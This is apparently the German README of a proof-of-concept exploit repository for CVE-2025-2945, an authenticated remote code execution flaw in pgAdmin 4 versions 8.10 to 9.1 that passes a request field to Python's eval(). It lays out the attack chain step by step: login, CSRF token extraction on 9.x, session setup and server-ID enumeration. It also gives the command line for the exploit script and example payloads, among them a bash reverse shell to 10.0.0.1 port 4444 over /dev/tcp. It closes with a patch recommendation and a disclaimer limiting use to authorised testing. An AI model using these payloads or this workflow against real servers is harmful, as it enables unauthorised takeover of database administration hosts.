
Authentifizierte RCE in pgAdmin 4 (8.10–9.1) über eval()-Injection im Query Tool. Dies ist ein aktualisierter PoC mit Kompatibilitätskorrekturen für die Authentifizierungsänderungen von pgAdmin 9.x.
Proof of Concept für CVE-2025-2945, eine kritische Schwachstelle zur Remote-Codeausführung in pgAdmin 4.
Betroffene Versionen: 8.10 bis 9.1
Behoben in: 9.2 (veröffentlicht am 4. April 2025)
CVSS v3.1: 9.9 (Kritisch)
Das pgAdmin 4 Query Tool stellt einen Endpunkt bereit, der einen query_commited-Parameter akzeptiert und ihn ohne jegliche Bereinigung direkt an Pythons eingebautes eval() übergibt. Ein authentifizierter Angreifer kann über diesen Parameter beliebigen Python-Code übermitteln und ihn serverseitig unter dem pgAdmin-Dienstkonto ausführen lassen.
Der anfällige Endpunkt lautet:
POST /sqleditor/query_tool/download/<trans_id>
Das Feld query_commited im JSON-Body wird auf dem Server als Python-Code ausgewertet.
In pgAdmin-4-Versionen vor 9.2 ruft der Download-Handler des Query Tools eval() mit benutzergelieferter Eingabe auf:
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))
Es wird keine Eingabevalidierung, Sandboxing oder Allowlisting angewendet. Jeder gültige Python-Ausdruck wird mit den Berechtigungen des pgAdmin-Prozesses ausgeführt.
/authenticate/login, um ein Session-Cookie und CSRF-Token zu erhalten/sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> mit Datenbankanmeldedaten, um eine Query-Tool-Sitzung aufzubauen/sqleditor/get_server_connection/<sgid>/<sid>, wobei IDs durchlaufen werden, bis eine data.status == true zurückgibt/sqleditor/query_tool/download/<trans_id> mit {"query_commited": "<python payload>"}; eine 500-Antwort bestätigt die AusführungÄltere pgAdmin-Versionen betteten das CSRF-Token in ein verstecktes <input>-Feld oder ein Cookie ein. Version 9.x wechselte zu einer React-SPA-Architektur, in der das Token als JSON innerhalb eines window.renderSecurityPage()-Aufrufs auf der Seite /login eingebettet ist:
"csrfToken": "<token value>"
Das Token ist an die Sitzung gebunden (Flask-WTF / itsdangerous), sodass das beim initialen GET /login erhaltene Token für die gesamte Sitzung gültig bleibt und für alle weiteren API-Aufrufe wiederverwendet werden kann.
pgAdmin 9.x hat die Login-Route aufgeteilt:
GET /login — rendert die Login-Seite (enthält das CSRF-Token)POST /authenticate/login — verarbeitet AnmeldedatenÄltere PoCs, die direkt per POST an /login senden, erhalten auf 9.x-Instanzen eine 404 oder 405.
pip install requests faker
python3 poc.py \
--rhost <target_host> \
--username <pgadmin_email> \
--password <pgadmin_password> \
--db-user <db_username> \
--db-pass <db_password> \
--db-name <database_name> \
--payload "<python_expression>"
| Argument | Beschreibung |
|---|---|
--rhost | Ziel-Hostname oder IP (ohne Schema) |
--rport | Ziel-Port (Standard: 80) |
--username | pgAdmin-Anmelde-E-Mail |
--password | pgAdmin-Anmeldekennwort |
--db-user | PostgreSQL-Benutzername |
--db-pass | PostgreSQL-Kennwort |
--db-name | Datenbankname |
--payload | Python-Ausdruck, der auf dem Server ausgewertet werden soll |
--max-server-id | Maximale Anzahl zu testender Server-IDs (Standard: 10) |
Befehlsausführung:
--payload "__import__('os').system('id')"
Reverse Shell:
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
/sqleditor/query_tool/download/Aktualisieren Sie auf pgAdmin 4 Version 9.2 oder höher.
Dieses Repository dient ausschließlich Bildungs- und autorisierten Testzwecken. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben.